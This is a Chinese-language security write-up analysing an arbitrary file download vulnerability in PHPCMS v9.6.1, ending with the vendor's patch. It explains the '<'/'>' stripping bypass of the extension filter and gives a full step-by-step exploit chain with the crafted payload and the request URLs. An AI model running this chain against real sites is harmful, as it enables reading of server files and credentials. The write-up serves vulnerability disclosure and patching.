phpcms v9.6.1任意文件下载漏洞分析及EXP

之前PHPCMS V9.6.0被爆出来一波SQL注入个getshell的漏洞,官方修复了(典型的指哪修哪)并且发布了V9.6.1。但是并没有修复完全,又被搞出来一个任意文件下载的漏洞,此漏洞Payload同样可以绕过WAF检测。

漏洞分析

这个漏洞的套路跟之前的那个SQL注入漏洞一样。

这次我们顺着来看这个漏洞产生的过程。

漏洞触发点在文件/phpcms/modules/content/down.php,来看init函数:

通过GET获取到$a_k参数内容,然后$a_k参数内容进入到sys_auth函数进行解密,说明我们传入的$a_k是提前已经加密的内容了,这里我们不用关系他到底是怎么解密的。

我们继续看parse_str($a_k);,这里的parse_str函数有一个Trick:

Parse_str函数会自动对传入的值将其根据&分割,然后解析到具体变量并注册变量,并且对内容进行URL解码操作。

比如我们我们传入字符串’id=123%27%20and%201=1%23’,经过parse_str函数后就变成了id=123’ and 1=1#,就是id变量的内容为123’ and 1=1#

继续往下看有一个$f变量且不能为空,这里正好通过parse_str处理后注册了$f变量,说明$f变量的内容使我们可控的。

继续到下面:

这里判断你的$f是不是有那一堆非法的后缀,或者使用’:\’,或者使用’..’,只要匹配到其中一种就是非法的。

然后在判断是不是外链文件http://或者ftp://,或者未使用’://’,系统生成一个$pc_auth_key,以这个$pc_auth_key为auth_key加密一个拼接了各种参数的url,上面的变量$f也在里面,然后生成一个$downurl,也就是下载文件的链接。

这里我们跟进这个下载文件的地方,/phpcms/modules/content/down.php,download函数:

这列将GET获取的$a_k变量的内容进行解密,解密时使用$pc_auth_key为auth_key,跟上面在init函数里面加密使用的同一个auth_key,这里加密解密就对应起来了。

然后变量$a_k通过一次safe_replace函数处理,再次通过parse_str函数处理。

我们继续往下看:

这列继续对$f变量进行后缀和特殊字符的判断。

然后将$s和$f拼接起来,再来判断fileurl的后缀。

如果fileurl是远程文件就直接跳转了,如果不是就继续else里面的处理。

首先获取文件后缀,然后加上一个日期为文件名,最后将fileurl中的’<’和’>’替换为空。

最后将fileurl既文件路径,和filename既文件名传入到file_down函数进行下载。

这里只是一个简单的下载,没有任何处理。

所以一路走下来,我们可控的参数进入到了fileurl既文件路径和filename既文件名里面。

大家可以看到在文件路径里面判断了很多次要下载的文件后缀,不能下载php等文件,但是注意到上面以一个替换操作:将fileurl中的’<’和’>’替换为空。

问题就在这里了,如果我们输入一个ph,一个>p,然后相加就是ph>p,经过替换后就变成了php,而在这个过程中,正好有$s和$f拼接的过程:

$s=’test.ph‘ + $f=’>p’ = $fileurl=’test.ph>p’,最后替换后就成了个 $fileurl=’test.php’

问题已经清楚了,剩下的就是我们需要来构造一个$a_k,这里构造$a_k的值跟上一个SQL注入漏洞是一个套路,可以参考SQL注入漏洞的分析和构造过程。

 

在文件/phpcms/modules/wap/index.php中获取cookie的值;

在文件/phpcms/modules/attachment/attachments.php中,利用swfupload_json函数获取att_json的值;

这里att_json的值就是我们要的$a_k变量的构造内容。

注意这里一共通过了三次safe_replace函数,swfupload_json一次,init一次,download一次,所以我们在构造下载文件内容是需要绕过这个swfupload_json函数的三次过滤。

重点关注$fileurl = trim($s).trim($fileurl);这个以后的处理。

我们构造:

$s= ./phpcms/modules/content/down.ph

$f= p%3%25252%2*70C(经过三次过滤后就成了个p>)

最后进入下载的文件文件就是./phpcms/modules/content/down.php

漏洞利用

访问:http://10.65.20.198/phpcms_v9.6.1_UTF8//index.php?m=wap&c=index&a=init&siteid=1

获取到这里的cookie:

KhLUs_siteid=923aWILP69vS49T0lonOkl-ZEWFgBRxEdmRHCEUx

然后将设置第二步的cookie:

KhLUs_userid=923aWILP69vS49T0lonOkl-ZEWFgBRxEdmRHCEUx

带上这个cookie访问:

http://10.65.20.198/phpcms_v9.6.1_UTF8/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D1%26catid%3D1%26s%3D./phpcms/modules/content/down.ph%26f%3Dp%3%25252%2*70C

上面标红的那一段为我们构造的payload,这里已下载./phpcms/modules/content/down.php为例子。

此时得到cookie:

KhLUs_att_json=61e9eXUqfQxngqteoYM_CiVo0b51zzeCuE5_VHIyoP3YykqDHLFO6HPa55Ir_qB1SMFU-P6X_
6JXFspt3hyZrFMXgnV1Lo7J9PZmuTF54mglNf46wgQgyR2UfppuKTdmL_MzqcUtJ5i84JGYpjtefbuiHFoXdwCdIa
27T9CX53r7tnnmeDyQc-G4Fmnazj_9ZA

第三步我们将cookie,KhLUs_att_json的值付给a_k参数:

http://10.65.20.198/phpcms_v9.6.0_UTF8/index.php?m=content&c=down&a=init&a_k=61e9eXUqfQxngqteoYM_CiVo0b51zzeCuE5_VHIyoP3YykqDHLFO6HPa55Ir_qB1SMFU-P6X_6JXFspt3hyZrFMXgnV1Lo7J9PZmuTF54mglNf46wgQgyR2UfppuKTdmL_MzqcUtJ5i84JGYpjtefbuiHFoXdwCdIa27T9CX53r7tnnmeDyQc-G4Fmnazj_9ZA

最后得到下载文件的url:

http://10.65.20.198/phpcms_v9.6.1_UTF8/index.php?m=content&c=down&a=download&a_k=050a8GfSF2bwK4H-oJhtDI2f9ixgu_iRvkGN1VX3I3X0wD-s-LPJnRGnM_xikA_rYLQInxgtkGtwL-JRW1HGHFO87kxWoVihALeRKJZEfTCcEYYrAOl_uqqzs7imN1QtTktE8jpF3zxIKeUOc0dFw7xr2JHyrWy8-lrUAQ

访问下载的url既可以下载./phpcms/modules/content/down.php文件。

漏洞利用脚本请见附件中的exp。

漏洞修复

这个漏洞主要是因为down类中download方法在进入file_down函数前有替换操作,这样在前面就可以将”<“或”>”带入到download中的f参数中绕过正则匹配。

官方发布了9.6.2版本,5月3日出了补丁,补丁地址:

http://download.phpcms.cn/v9/9.0/patch/utf8/patch_20170412_20170503_UTF8.zip

来看一下补丁的修复情况:

这里只是在进行了str_replace后再次正则匹配一下$fileurl参数的内容最后放入file_down函数中执行。

所以请升级到最新版。

如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880

Spread the word. Share this post!

Meet The Author

1 Comments

Leave Comment